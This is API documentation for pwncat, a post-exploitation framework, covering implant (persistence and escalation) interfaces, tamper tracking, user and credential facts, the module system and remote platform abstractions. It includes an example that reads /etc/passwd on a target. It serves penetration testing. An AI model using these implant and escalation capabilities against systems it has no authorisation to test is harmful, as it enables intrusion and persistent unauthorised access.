### pwncat.facts.implant module

Implant modules generate *Implant* facts which provide the ability to interact with the installed implant. Implants can be one or more of spawn, replace or remote types. A spawn implant is used to locally escalate privileges and spawns a new session. A replace implant is also used to local escalation but instead replaces the context of the current session with a different user. Lastly, a remote implant allows pwncat to reconnect to the target.

**class** pwncat.facts.implant.**Implant**(*source: str*, *types: List[str]*, *uid: Union[int, str]*)
Bases: *pwncat.db.Fact*

Abstract base implant class. Any fact which specifies an `implant.*` type must implement this interface, however they are not required to inherit from this class (due to Python's duck typing). This is most notably utilized with *pwncat.facts.PrivateKey* enumeration.

**Parameters**

- **source** (*str*) – generating module name
- **types** (*List[str]*) – list of fact types
- **uid** (*Union[int, str]*) – target UID

**escalate**(*session:* pwncat.manager.Session) → Union[*pwncat.manager.Session*, Callable[[*pwncat.manager.Session*], None]]
Escalate to the target user locally. If the implant type is `implant.replace`, this method should replace the current user context with the target user and return a callable which can undo this action. The callable takes a session its' single argument. If the implant type is `implant.spawn`, this method spawns a new session as the target user and returns the newly established session.

**Parameters** **session** (`pwncat.manager.Session`) – the target session on which to act

**Return type** Union[*pwncat.manager.Session*, Callable[[*pwncat.manager.Session*], None]]

**remove**(*session:* pwncat.manager.Session)
Remove this implant from the target.

**Parameters** **session** (`pwncat.manager.Session`) – the session on which to act

**trigger**(*target:* pwncat.target.Target) → *pwncat.manager.Session*
Trigger a remote implant and establish a new session. This is only valid for `implant.remote` implant types. It should return the newly established session.

**Parameters** **target** (`pwncat.target.Target`) – the database target object with the details on how to connect

**Return type** *pwncat.manager.Session*

**flag** pwncat.facts.implant.**ImplantType**(*value*)
Bases: `enum.Flag`

Type of implant which was installed

Valid values are as follows:

**SPAWN = <ImplantType.SPAWN: 1>**

**REPLACE = <ImplantType.REPLACE: 2>**

**REMOTE = <ImplantType.REMOTE: 4>**

**exception** pwncat.facts.implant.**KeepImplantFact**
Bases: Exception

This is raised when removing an implant where the fact itself remains in the database, but the implant types are removed. Normally, this indicates that the implant was enumerated and not installed by pwncat. Removing the implant simply removes our ability to use it, but tracks the enumeration of the data.

### pwncat.facts.linux module

Linux specific facts which are used in multiple places throughout the framework.

**class** pwncat.facts.linux.**LinuxGroup**(*source: str*, *group_name: str*, *hash: Optional[str]*, *gid: int*, *members: List[int]*, *password: Optional[str] = None*)
Bases: *pwncat.facts.Group*

Linux-specific group definition this augments the base *pwncat.facts.Group* class to hold data specific to Linux.

**Parameters**

- **source** (*str*) – the generating module name
- **group_name** (*str*) – name of the user
- **hash** (*Optional[str]*) – password hash if known
- **gid** (*int*) – group identifier
- **members** (*List[int]*) – list of user identifiers who are members of this group
- **password** (*str*) – the users password, if known

**class** pwncat.facts.linux.**LinuxUser**(*source: str*, *name: str*, *hash: Optional[str]*, *uid: int*, *gid: int*, *comment: str*, *home: str*, *shell: str*, *password: Optional[str] = None*)
Bases: *pwncat.facts.User*

Linux-specific user definition. This augments the base *pwncat.facts.User* class to hold data specific to Linux.

**Parameters**

- **source** (*str*) – the generating module name
- **name** (*str*) – name of the user
- **hash** (*Optional[str]*) – password hash if known
- **uid** (*int*) – user identifier
- **gid** (*int*) – group identifier
- **comment** (*str*) – user comment (sometimes called full name)
- **home** (*str*) – the path to the users home directory
- **shell** (*str*) – path to the users login shell
- **password** (*str*) – the users password, if known

### pwncat.facts.tamper module

Tampers are modifications which we knowingly made to the target host. pwncat tracks tampers wherever it can in order to warn the user that modifications have been made, and in some cases provide the ability to revert those modifications. This is not foolproof, but provides some ability to track your changes when on target.

**class** pwncat.facts.tamper.**CreatedDirectory**(*source: str*, *uid: Union[int, str]*, *path: str*, *timestamp: Optional[datetime.datetime] = None*)

Bases: *pwncat.facts.tamper.Tamper*

Tracks a new directory created on the target. The entire directory will be deleted upon revert.

**Parameters**

- **source** (*str*) – generating module or routine
- **uid** (*Union[int, str]*) – UID needed to revert
- **path** (*str*) – path to replaced file
- **timestamp** (*Optional[datetime.datetime]*) – the datetime that this change occurred

**revert**(*session:* pwncat.manager.Session)

Attempt to revert the tamper through the given session.

**Parameters** **session** (pwncat.manager.Session) – the session on which to operate

**property revertable**

Test if this tamper is currently revertable

**title**(*session:* pwncat.manager.Session)

Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.tamper.**CreatedFile**(*source: str*, *uid: Union[int, str]*, *path: str*, *timestamp: Optional[datetime.datetime] = None*)

Bases: *pwncat.facts.tamper.Tamper*

Tracks a new file created on the target. This is normally revertable as we just need to delete the file.

**Parameters**

- **source** (*str*) – generating module or routine
- **uid** (*Union[int, str]*) – UID needed to revert
- **path** (*str*) – path to replaced file
- **timestamp** (*Optional[datetime.datetime]*) – the datetime that this change occurred

**revert**(*session:* pwncat.manager.Session)

Attempt to revert the tamper through the given session.

**Parameters** **session** (pwncat.manager.Session) – the session on which to operate

**property revertable**

Test if this tamper is currently revertable

**title**(*session:* pwncat.manager.Session)

Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.tamper.**ReplacedFile**(*source: str*, *uid: Union[int, str]*, *path: str*, *data: Optional[Union[str, bytes]]*, *timestamp: Optional[datetime.datetime] = None*)

Bases: *pwncat.facts.tamper.Tamper*

Represents a file that was replaced on the remote host. This is a revertable tamper as long as the data was stored prior to replacement.

**Parameters**

- **source** (*str*) – generating module or routine
- **uid** (*Union[int, str]*) – UID needed to revert
- **path** (*str*) – path to replaced file
- **data** (*Optional[Union[str, bytes]]*) – the original data in the file
- **timestamp** (*Optional[datetime.datetime]*) – the datetime that this change occurred

**revert**(*session:* pwncat.manager.Session)

Attempt to revert the tamper through the given session.

**Parameters** **session** (pwncat.manager.Session) – the session on which to operate

**property revertable**

Test if this tamper is currently revertable

**title**(*session:* pwncat.manager.Session)

Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.facts.tamper.**Tamper**(*source: str*, *uid: Union[int, str]*, *timestamp: Optional[datetime.datetime] = None*)

Bases: *pwncat.db.Fact*

A generic "tamper" or modification to the remote target. Tampers can sometimes be reverted automatically, but at worst are tracked through the enumeration system.

**Parameters**

- **source** (*str*) – a string describing the module or routine that generated the tamper
- **uid** (*Union[int, str]*) – the user ID needed to revert the tamper
- **timestamp** (*Optional[datetime.datetime]*) – the datetime that this change occurred

**revert**(*session:* pwncat.manager.Session)

Attempt to revert the tamper through the given session.

**Parameters** **session** (pwncat.manager.Session) – the session on which to operate

**property revertable**

Test if this tamper is currently revertable

### pwncat.facts.windows module

Windows-specific facts which are used in multiple places throughout the framework.

**class** pwncat.facts.windows.**WindowsGroup**(*source: str*, *name: str*, *gid: str*, *description: str*, *principal_source: str*, *members: List[str]*, *domain: Optional[str] = None*)

Bases: *pwncat.facts.Group*

Windows-specific group. This augments the `Group` class.

**Parameters**

- **source** (*str*) – the generating module
- **name** (*str*) – the group name
- **gid** (*str*) – the group SID
- **description** (*str*) – description for this group
- **principal_source** (*str*) – honestly, again, I have no clue
- **members** (*List[str]*) – list of SIDs for group members

**class** pwncat.facts.windows.**WindowsUser**(*source: str*, *name: str*, *uid: str*, *account_expires: Optional[datetime.datetime]*, *description: str*, *enabled: bool*, *full_name: str*, *password_changeable_date: Optional[datetime.datetime]*, *password_expires: Optional[datetime.datetime]*, *user_may_change_password: bool*, *password_required: bool*, *password_last_set: Optional[datetime.datetime]*, *last_logon: Optional[datetime.datetime]*, *principal_source: str*, *password: Optional[str] = None*, *hash: Optional[str] = None*, *well_known: bool = False*)

Bases: *pwncat.facts.User*

Windows-specific user data. This augments the `User` class.

**Parameters**

- **source** (*str*) – the generating module
- **name** (*str*) – the name of the user
- **uid** (*str*) – the user identifier
- **account_expires** (*Optional[datetime]*) – the date/time when the account expires
- **description** (*str*) – description for this account
- **enabled** (*bool*) – whether this account is enabled
- **full_name** (*str*) – the full name of the user
- **password_changeable_date** (*Optional[datetime]*) – the date/time when the password is changeable
- **password_expires** (*Optional[datetime]*) – the date/time when the password expires

- **user_may_change_password** (*bool*) – whether the user can change their own password
- **password_required** (*bool*) – whether the password is required for login
- **password_last_set** (*Optional[datetime]*) – when the password was last changed
- **last_logon** (*Optional[datetime]*) – the last time the user logged in
- **principal_source** (*str*) – honestly, I'm not sure
- **password** (*Optional[str] = None*) – the user's password if known
- **hash** (*Optional[str] = None*) – the user's password hash if known

### pwncat.modules package

pwncat modules are the core extensible feature of pwncat. They provide a way for users to execute complex scripted target interaction efficiently from the local prompt. The most extensive feature is the enumeration modules allowing the user to quickly enumerate commonly useful information from the target, and save the data in a database for future access.

There are standard modules implemented for enumerating arbitrary data, managing installed implants, and generating formatted reports on your targets. Modules are loaded from within the pwncat package by default, but can be loaded from other locations with the `load` command or the *pwncat.manager.Manager.load_modules()* method. When loading custom modules, a path to a Python package is given and any module within the package which defines a `Module` class that inherits from *pwncat.modules.BaseModule* will be imported and added to the module list.

For an up-to-date list of standard modules and their usage, please consult the internal pwncat help/info documentation.

### Example Module

Listing 10: Example Base Module

```
class Module(BaseModule):
    """ Module Documentation """

    PLATFORM = [Linux]
    ARGUMENTS = { "arg": Argument(str, help="help string") }

    def run(self, session: "pwncat.manager.Session", arg: str):
        yield Status("A status message!")
        session.log(f"ran {self.name}")
```

**class** pwncat.modules.**Argument**(*type: Callable[[str], Any] = <class 'str'>, default: Any = <class 'pwncat.modules.NoValue'>, help: str = ''*)

Bases: `object`

Describes an individual module argument. Arguments to modules are always required. If an argument has the default *NoValue* then the module will fail if no value is provided by the user.

**default**

The default value for this argument. If set to *NoValue*, the argument **must** be set by the user.

alias of *NoValue*

**help: str = ''**
The help text displayed in the `info` output.

**type**
alias of `builtins.str`

**exception** pwncat.modules.**ArgumentFormatError**
Bases: *pwncat.modules.ModuleFailed*

Format of one of the arguments was incorrect

**class** pwncat.modules.**BaseModule**
Bases: `object`

Generic module class. This class allows to easily create new modules. Any new module must inherit from this class. The run method is guaranteed to receive as key-word arguments any arguments specified in the `ARGUMENTS` dictionary.

Results from the module are normally returned via the `yield` instruction. This allows pwncat to collect results and provide status output. However, you can also return a single item with the `return` statement. The *pwncat.manager.Session.run()* method will by default normally return an array. If you module only has a single result, you can set the `COLLAPSE_RESULT` property to `True` to tell pwncat to collapse a single-item array into a regular value.

If your module should take arbitrary, unnamed keyword arguments, you can use set the `ALLOW_KWARGS` property, which allows the user to pass arbitrary key-value pairs to your module. These values will normally be strings, but it is the responsibility of the module to conduct type-checking.

If the module is not platform-dependent, you can set the `PLATFORM` property to `None`.

**ALLOW_KWARGS: bool = False**
Allow other kwargs parameters outside of what is specified by the arguments dictionary. This allows arbitrary arguments which are not type-checked to be passed. You should use ***kwargs* in your run method if this is set to True.

**ARGUMENTS: Dict[str, *pwncat.modules.Argument*] = {}**
Arguments which can be provided to the `run` method. This maps argument names to `Argument` instances describing the type, default value, and requirements for an individual argument.

**COLLAPSE_RESULT: bool = False**
If you want to use *yield Status(...)* to update the progress bar but only return one scalar value, setting this to true will collapse an array with only a single object to it's scalar value.

**PLATFORM: *List*[Type[*pwncat.platform.Platform*]] = []**
The platform this module is compatibile with (can be multiple)

**run**(*session:* pwncat.manager.Session, *progress: Optional[bool] = None*, ***kwargs*)
The run method is called via keyword-arguments with all the parameters specified in the `ARGUMENTS` dictionary. If `ALLOW_KWARGS` was True, then other keyword arguments may also be passed. Any types specified in `ARGUMENTS` will already have been checked.

If there are any errors while processing a module, the module should raise `ModuleError` or a subclass in order to enable `pwncat` to automatically and gracefully handle a failed module execution.

If `progress` is None, the visibility of progress information will be inherited from the parent module. If this module was run directly by the framework, the default is to display progress information. If `progress` is False, no progress information will be displayed and any subsequent modules which set progress to None will not display progress information.

**Parameters**

- **session** (`pwncat.manager.Session`) – the active session

- **progress** (*Optional[bool]*) – whether to show progress information for this and subsequent modules

**class** pwncat.modules.**BaseModuleMeta**(*name*, *bases*, *local*)
Bases: type

This is a metaclass which is used to ensure the run method is decorated properly for all modules.

pwncat.modules.**Bool**(*value: str*)
Argument of type "bool". Accepts true/false (case-insensitive) as well as 1/0. The presence of an argument of type "Bool" with no assignment (e.g. run module arg) is equivalent to run module arg=true.

**exception** pwncat.modules.**IncorrectPlatformError**
Bases: *pwncat.modules.ModuleFailed*

The requested module didn't match the current platform

**exception** pwncat.modules.**InvalidArgument**
Bases: *pwncat.modules.ModuleFailed*

This argument does not exist and ALLOW_KWARGS was false

pwncat.modules.**List**(*_type=<class 'str'>*)
Argument list type, which accepts a list of the provided type. By default, this accepts a list of strings.

**exception** pwncat.modules.**MissingArgument**
Bases: *pwncat.modules.ModuleFailed*

A required argument is missing

**exception** pwncat.modules.**ModuleFailed**
Bases: Exception

Base class for module failure

**exception** pwncat.modules.**ModuleNotFound**
Bases: *pwncat.modules.ModuleFailed*

The specified module was not found

**class** pwncat.modules.**NoValue**
Bases: object

Indicates that the module argument has no default value and is required.

**class** pwncat.modules.**Result**
Bases: object

This class defines the interface for module results. Modules can yield or return results as needed, but each results must implement this interface. Inheriting from this class is enough to provide a suitable result, but it is recommended to override the *title()* method in order to provide a formatted title for your result. The *category()* method helps when organizing output with the run command.

**category**(*session*) → str
Return a "category" of object. Categories will be grouped. If this returns None or is not defined, this result will be "uncategorized"

**description**(*session*) → str
Returns a long-form description. If not defined, the result is assumed to not be a long-form result.

**hidden: bool = False**
Hide results from automatic display with the run command

**is_long_form**(*session*) → bool
Check if this is a long form result

**title**(*session*) → str
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

**class** pwncat.modules.**Status**
Bases: str

A result which isn't actually returned, but simply updates the progress bar. It is equivalent to a string, so this is valid: `yield Status("module status update")`

**category**(*session*) → str
Return a "category" of object. Categories will be grouped. If this returns None or is not defined, this result will be "uncategorized"

**description**(*session*) → str
Returns a long-form description. If not defined, the result is assumed to not be a long-form result.

**is_long_form**(*session*) → bool
Check if this is a long form result

**title**(*session*) → str
Return a short-form description/title of the object. If not defined, this defaults to the object converted to a string.

pwncat.modules.**run_decorator**(*real_run*)
Decorate a run function to evaluate types. This is an internal method. Every module's `run` method is decorated with this in order to first check arguments against the module definition and type-check/convert to the appropriate types. It is also responsible for creating the progress bar, collecting results and committing database changes.

### Modules and Packages

### pwncat.modules.enumerate module

Enumeration modules are the core information gathering mechanism within pwncat. Enumeration modules are a subclass of *pwncat.modules.BaseModule*. However, they extend the functionality of a module to cache results within the database and provide a structured way of specifying how often to execute a given enumeration.

An enumeration module returns a list of facts. Each fact must inherit from *pwncat.db.Fact*. Each fact that is generated is stored in the database, and deduplicated. A fact can have one or more types. A type is simply a string which identifies the kind of data the fact represents. When you define an enumeration module, you must specify a list of fact types which your module is capable of generating. This is so that pwncat can automatically locate facts of any type. Further, you must specify the "schedule" for your enumeration. Schedules identify whether a module should run only once, once per user or should run every time the given type is requested. Unlike base modules, enumeration modules do not accept any custom arguments. However, they do still require a list of compatible platforms.

When defining an enumeration module, you must define the *EnumerateModule.enumerate()* method. This method is a generator which can yield either facts or status updates, just like the *pwncat.modules.BaseModule.run()* method.

### Example Enumerate Module

Listing 11: Example Enumerate Module

```
class CustomFact(Fact):
    """ Custom fact data regarding the target """

    def __init__(self, source):
        super().__init__(source=source, types=["custom.fact.type"])

    def title(self, session: "pwncat.manager.Session"):
        return "[red]Custom Fact![/red]"

class Module(EnumerateModule):
    """ Module documentation """

    PLATFORM = [Windows]
    SCHEDULE = Schedule.PER_USER
    PROVIDES = ["custom.fact.type"]

    def enumerate(self, session: "pwncat.manager.Session"):
        yield CustomFactObject(self.name)
```

**class** pwncat.modules.enumerate.**EnumerateModule**

Bases: *pwncat.modules.BaseModule*

Base class for all enumeration modules.

As discussed above, an enumeration module must define the *enumerate()* method, provide a list of supported platforms, a list of provided fact types and a schedule.

The base enumeration module's *run()* method will provide a few routines and options. You can filter the results of this module with the `types` argument. This causes the module to only return the types specified. You can also tell the module to clear any cached data from the database generated by this module. Lastly, if you specify `cache=False`, the module will only return new facts that were not cached in the database already.

**ARGUMENTS: Dict[str, *pwncat.modules.Argument*] = {'cache': Argument(type=<class 'bool'**

Arguments accepted by all enumeration modules. This **should not** be overridden.

**PLATFORM: List[Type[*pwncat.platform.Platform*]] = []**

List of supported platforms for this module

**PROVIDES: List[str] = []**

List of fact types which this module is capable of providing

**SCHEDULE: *pwncat.modules.enumerate.Schedule* = 4**

Determine the run schedule for this enumeration module

**enumerate**(*session:* pwncat.manager.Session) → Generator[*pwncat.db.Fact*, None, None]

Enumerate facts according to the types listed in `PROVIDES`.

**Parameters** **session** (pwncat.manager.Session) – the session on which to enumerate

**run**(*session:* pwncat.manager.Session, *types: List[str]*, *clear: bool*, *cache: bool*)

Locate all facts this module provides.

Sub-classes should not override this method. Instead, use the enumerate method. *run* will cross-reference with database and ensure enumeration modules aren't re-run.

**Parameters**

- **session** (pwncat.manager.Session) – the session on which to run the module
- **types** (*List[str]*) – list of requested fact types
- **clear** (*bool*) – whether to clear all cached enumeration data
- **cache** (*bool*) – whether to return facts from the database or only new facts

**enum** pwncat.modules.enumerate.**Schedule**(*value*)

Bases: enum.Enum

Defines how often an enumeration module will run

Valid values are as follows:

**ALWAYS = <Schedule.ALWAYS: 1>**

**NOSAVE = <Schedule.NOSAVE: 2>**

**PER_USER = <Schedule.PER_USER: 3>**

**ONCE = <Schedule.ONCE: 4>**

### pwncat.modules.implant module

pwncat supports abstract local and remote implants. Implants provide a way for pwncat to either remotely reconnect or locally escalate privileges. Escalation modules should be placed organizationally under the *implant/* package.

An implant module implements a single method named `install` and can take any arbitrary arguments. The install method must return an `Implant` subclass. This class is what tracks implant installation, and allows for triggering and removing the implant.

After installation, the `Implant` object is added to the database and can be located using the `enumerate` module and searching for `implant.*` fact types.

For examples of implant modules, see the `pam` and `passwd` built-in implants located in `pwncat/modules/linux/implant/`.

**class** pwncat.modules.implant.**ImplantModule**

Bases: *pwncat.modules.BaseModule*

Base class for all implant modules.

Implants must implement the :func:`install` method and cannot override the *run()* method. The install method takes the same arguments as the standard *run()* method, including all your custom arguments.

The install method must be a generator which yields `Status` instances, and returns a `Implant` object. Implant objects track the installed implant, and also provide methods for triggering, escalation and removal. Check the documentation for the `Implant` class for more details.

**ARGUMENTS: Dict[str, *pwncat.modules.Argument*] = {}**

The default arguments for any persistence module. If other arguments are specified in sub-classes, these must also be included to ensure compatibility across persistence modules.

**COLLAPSE_RESULT: bool = True**

The `run` method returns a single scalar value even though it utilizes a generator to provide status updates.

**install**(***kwargs*)

Install the implant on the target host and return a new implant instance. The implant will be automatically added to the database. Arguments aside from *remove* and *escalate* are passed directly to the install method.

**Parameters**

- **session** (pwncat.manager.Session) – the session on which to operate

- **kwargs** – Any custom arguments defined in your ARGUMENTS dictionary.

**Raises** ***ModuleFailed*** – installation failed.

**run** (*session:* pwncat.manager.Session, ***kwargs*)
This method should not be overriden by subclasses. It handles all logic for installation, escalation, connection, and removal. The standard interface of this method allows abstract interactions across all persistence modules.

### pwncat.platform package

A platform is the pwncat abstraction for an OS or specific distribution. In general, this abstraction allows pwncat to generically interact with targets at the OS level. For example, a platform provides a `pathlib.Path` implementation which provides seamless file access. A platform also defines ways to query environment variables, get the current user ID and name and generically start processes.

An individual platform must define a set of methods within it's `Platform` class for file abstraction, process abstraction, and user abstraction. These methods are then used by the generic `Path` and `Popen` classes to abstract interaction with the target.

Normally, you can access a platform through a session. Every session has a platform property which returns a platform-specific implementation of the core methods outlined below.

#### pathlib-like File Abstraction

Each platform sets the `Path` property to a class which glues our generic `Path` class below to either `PureWindowsPath` or `PureLinuxPath`. You can construct a session-specific path object by utilizing the `session.platform.Path` property.

```
path = session.platform.Path("/etc/passwd")
print(path.read_text())
```

pwncat.platform.**PLATFORM_TYPES = {'linux': <class 'pwncat.platform.linux.Linux'>, 'windows**
A dictionary of platform names mapping to their class objects. This drives the `pwncat.platform.create` factory function.

**class** pwncat.platform.**Path**
Bases: `object`

A Concrete-Path. An instance of this class is bound to a specific victim, and supports all semantics of a standard pathlib concrete Path.

**chmod** (*mode: int*)
Modify file unix permissions

**Parameters** **mode** (*int*) – unix permission bits

**classmethod cwd**() → *pwncat.platform.Path*
Return a new concrete path referencing the current directory

**exists**() → bool
Test if the path exists on the target system

**expanduser**() → *pwncat.platform.Path*
Return a new path object which represents the full path to the file expanding any ~ or ~user components.

**glob** (*pattern: str*) → Generator[*pwncat.platform.Path*, None, None]
Glob the given relative pattern in the directory represented by this path, yielding Path objects for any matching files/directories.

**group**() → str
Returns the name of the group owning the file. KeyError is raised if the file's GID isn't found in the system database.

**classmethod home**() → *pwncat.platform.Path*
Return a new concrete path referencing the current user home directory

**is_block_device**() → bool
Returns True if the path points to a block device

**is_char_device**() → bool
Returns True if the path points to a character device

**is_dir**() → bool
Returns True if the path points to a directory (or a symbolic link pointing to a directory). False if it points to another kind of file.

**is_fifo**() → bool
Returns True if the path points to a FIFO

**is_file**() → bool
Returns True if the path points to a regular file

**is_mount**() → bool
Returns True if the path is a mount point.

**is_socket**() → bool
Returns True if the path points to a Unix socket

**is_symlink**() → bool
Returns True if the path points to a symbolic link, False otherwise

**iterdir**() → bool
When the path points to a directory, yield path objects of the directory contents.

**lchmod**(*mode: int*)
Modify a symbolic link's mode (same as chmod for non-symbolic links)

**link_to**(*target*)
Create a hard link pointing to a path named target

**lstat**() → os.stat_result
Same as stat except operate on the symbolic link file itself rather than the file it points to.

**mkdir**(*mode: int = 511*, *parents: bool = False*, *exist_ok: bool = False*)
Create a new directory at this given path.

**open**(*mode: str = 'r'*, *buffering: int = - 1*, *encoding: str = None*, *errors: str = None*, *newline: str = None*)
Open the file pointed to by the path, like Platform.open

**owner**() → str
Return the name of the user owning the file. KeyError is raised if the file's uid is not found in the System database

**parts = []**

**read_bytes**() → bytes
Return the binary contents of the pointed-to file as a bytes object

**read_text**(*encoding: str = None*, *errors: str = None*) → str
Return the decoded contents of the pointed-to file as a string

**readable**() → bool
Test if this file is readable based on the stat results and the sessions' current user/group ID.

**readlink**() → *pwncat.platform.Path*
Return the path to which the symbolic link points

**rename**(*target*) → *pwncat.platform.Path*
Rename the file or directory to the given target (str or Path).

**replace**(*target*) → *pwncat.platform.Path*
Same as *rename* for Linux

**resolve**(*strict: bool = False*)
Resolve the current path into an absolute path

**rglob**(*pattern: str*) → Generator[*pwncat.platform.Path*, None, None]
This is like calling Path.glob() with "**/" added to in the front of the given relative pattern

**rmdir**()
Remove this directory. The directory must be empty.

**samefile**(*otherpath:* pwncat.platform.Path)
Return whether this path points to the same file as other_path which can be either a Path object or a string.

**stat**() → os.stat_result
Request file stat details

**symlink_to**(*target*, *target_is_directory: bool = False*)
Make this path a symbolic link to target.

**touch**(*mode: int = 438*, *exist_ok: bool = True*)
Createa file at this path. If the file already exists, function succeeds if exist_ok is true (and it's modification time is updated). Otherwise FileExistsError is raised.

**unlink**(*missing_ok: bool = False*)
Remove the file or symbolic link.

**writable**() → bool
Test if this file is writable based on the stat results and the sessions current user/group ID.

**write_bytes**(*data: bytes*)
Open the file pointed to in bytes mode and write data to it.

**write_text**(*data: str*, *encoding: str = None*, *errors: str = None*)
Open the file pointed to in text mode, and write data to it.

**class** pwncat.platform.**Platform**(*session:* pwncat.manager.Session, *channel:* pwncat.channel.Channel, *log: str = None*, *verbose: bool = False*)

Bases: abc.ABC

Abstracts interactions with a target of a specific platform. This includes running commands, changing directories, locating binaries, etc.

During construction, the channel `connect` method is called to complete any outstanding requirements for connecting the channel. If the channel is not connected after this, a `PlatformError` is raised.

Platform's are not created directly, but can be instantiated through the manager `create_session` method.

**Parameters**

- **session** – a session object to which this platform is bound
- **channel** (pwncat.channel.Channel) – an open a channel with the specified platform

- **log** (*str*) – path to a log file which logs each command executed for this platform

**Path**
A concrete Path object for this platform conforming to pathlib.Path

**abstract Popen**(*args*, *stdin=None*, *stdout=None*, *stderr=None*, *shell=False*, *cwd=None*, *encoding=None*, *errors=None*, *text=None*, *env=None*, *universal_newlines=None*, ***other_popen_kwargs*) → *pwncat.subprocess.Popen*
Execute a process on the remote host with an interface similar to that of the python standard `subprocess.Popen`. The returned object behaves much like a standard `Popen` object and conforms to the interface defined by `pwncat.subprocess.Popen`. For an explanation of arguments, see `pwncat.subprocess.Popen`.

**abstract abspath**(*path: str*) → str
Attempt to resolve a path to an absolute path

**abstract chdir**(*path: Union[str,* pwncat.platform.Path*]*)
Change directories to the given path. This method returns the current working directory prior to the change.

**Parameters** **path** (*Union[str, Path]*) – a relative or absolute path to change to

**Returns** current working directory prior to the change

**Raises** FileNotFoundError: the specified path doesn't exist NotADirectoryError: the specified path is not a directory

**abstract chmod**(*path: str*, *mode: int*, *link: bool = False*)
Update the file permissions

**compile**(*sources: List[Union[str, BinaryIO]]*, *output: str = None*, *suffix: str = None*, *cflags: List[str] = None*, *ldflags: List[str] = None*) → str
Attempt to compile the given C source files into a binary suitable for the remote host. If a compiler exists on the remote host, prefer compilation locally. If no compiler exists on the remote remote host, check the *cross* global config variable for the path to a local compiler capable of generating binaries for the remote host. If the binary is compiled locally, it is automatically uploaded to the remote host. The path to the new binary on the victim is returned.

**Parameters**

- **sources** (*List[Union[str, io.IOBase]]*) – list of source file paths or IO streams used as source files
- **output** (*str*) – base name of the output file. If not specified, a name is randomly generated.
- **suffix** (*str*) – a suffix to add to the output name.
- **cflags** (*List[str]*) – a list of flags to pass to the compiler
- **ldflags** (*List[str]*) – a list of flags to pass to the linker

**Returns** str

**Raises**

- **NotImplementedError** – this platform does not support c compilation
- ***PlatformError*** – no local or cross compiler detected or compilation failed

**abstract exit**()
Exit this session

**abstract get_host_hash**() → str
Retrieve a string which uniquely identifies this victim host. On Unix-like platforms, this retrieves the

hostname and MAC addresses of any available network interfaces and computes a hash, which should be unique regardless of connection method.

**Returns** a unique string (normally a hash) identifying this host

**Return type** str

**abstract getenv**(*name: str*) → str
Get the value of an environment variable.

**Parameters** **name** (*str*) – the name of the environment variable

**Return type** str

**abstract getuid**() → Union[int, str]
Get the current user ID. This should not query the target, but should return the current cached UID as found with *refresh_uid*.

**interactive_loop**(*interactive_complete: threading.Event*)
Handles interactive piping of data between victim and attacker. If the platform you are implementing does not support raw mode, you must override this method to support interactivity. A working example with the python readline module exists in the windows platform. Linux uses this default implementation.

**abstract link_to**(*source: str*, *target: str*)
Create a filesystem hard link.

**abstract listdir**(*path=None*) → Generator[str, None, None]
List the contents of a directory. If `path` is None, then the contents of the current directory is listed. The list is not guaranteed to be sorted in any way.

**Parameters** **path** (*str or Path-like*) – the directory to list

**Raises** **FileNotFoundError** – When the requested directory is not a directory, does not exist, or you do not have execute permissions.

**abstract lstat**(*path: str*) → os.stat_result
Perform the equivalent of the lstat syscall

**property manager**
Shortcut to accessing the manager

**abstract mkdir**(*path: str*, *mode: int = 511*, *parents: bool = False*)
Create a new directory

**name = None**
Name of this platform (e.g. "linux")

**abstract open**(*path: Union[str,* pwncat.platform.Path*]*, *mode: str*)
Open a remote file for reading or writing. Normally, only one of read or write modes are allowed for a remote file, but this may change with future platforms. It is recommended to only use one mode when opening remote files. This method attempts to replicate the built-in `open` function and returns a file-like object. The *b* mode is honored and if not present, a TextIOWrapper is used to wrap the file object to ensure text data is returned.

**Parameters**

- **path** (*Union[str, Path]*) – path to the file
- **mode** (*str*) – the open-mode (see built-in `open`)

**Returns** a file-like object

**Raises** FileNotFoundError: the specified file does not exist IsADirectoryError: the specified path refers to a directory

**process_output**(*data*)
Called during interactivity to handle output from the victim. It can mutate the output and return a changed value if needed. It does nothing by default.

**abstract readlink**(*path: str*)
Attempt to read the target of a link

**abstract refresh_uid**() → Union[int, str]
Refresh the cached UID of the current session.

**abstract rename**(*source: str*, *target: str*)
Rename a file from the source to the target. This should replace the target if it exists.

**abstract rmdir**(*target: str*)
Remove the specified directory. It must be empty.

**run**(*args*, *stdin=None*, *input=None*, *stdout=None*, *stderr=None*, *capture_output=False*, *shell=False*, *cwd=None*, *timeout=None*, *check=False*, *encoding=None*, *errors=None*, *text=None*, *env=None*, *universal_newlines=None*, *popen_class=None*, ***other_popen_kwargs*) → *pwncat.subprocess.Popen*
Run the given command utilizing the `self.popen` method and return a `pwncat.subprocess.CompletedProcess` instance.

**abstract stat**(*path: str*) → os.stat_result
Perform the equivalent of the stat syscall on the remote host

**su**(*user: str*, *password: Optional[str] = None*)
Attempt to switch users in the running shell. This normally executes a new sub-shell as the requested user. On unix-like systems, this is simply a wrapper for the `su` command. Implementations may differ on other systems. If a password isn't provided, the database will be consulted for a matching username and password.

**Parameters**

- **user** (*str*) – the name of the new user
- **password** (*str*) – the password for the new user

**Raises** PermissionError: the provided password was incorrect

**sudo**(*command: Union[str, List[str]]*, *user: Optional[str] = None*, *group: Optional[str] = None*, ***popen_kwargs*)
Run the specified command as the specified user and group. On unix-like systems the normally translates to the `sudo` command. The command is executed using the `self.popen` method. All arguments not documented here are passed directly to `self.popen`. The process is executed and if a password is required, it is sent from the database. If a password is not available, the process is killed and a PermissionError is raised. If the password is incorrect, a PermissionError is also raised.

**abstract symlink_to**(*source: str*, *target: str*)
Create a symbolic link to source from target

**abstract tempfile**(*mode: str*, *length: Optional[int] = None*, *suffix: Optional[str] = None*)
Create a temporary file on the remote host and open it with the specified mode. Creating a new temporary file with a mode other than "w" is mostly useless, however `mode` can be used to specify a binary or text-mode file. The length argument is useful if you know the length of file you are about to read. This alleviates some situations which could be complicated on some platforms by not knowing the intended file length prior to opening. Optionally, a suffix can be added to the random file name. A file-like object is returned. The temporary file is not removed by pwncat itself. Unless explicitly removed, it will continue to exist until the remote operating system cleans up temporary files (possible at the next reboot).

**Parameters**

- **mode** (*str*) – the open-mode for the new file-like object
- **length** (*int*) – the intended length for the new file
- **suffix** (*str*) – a suffix for the filename

**Returns** a file-like object

**abstract touch**(*path: str*)
Update a file modification time and possibly create it

**abstract umask**(*mask: int = None*)
Set or retrieve the current umask value

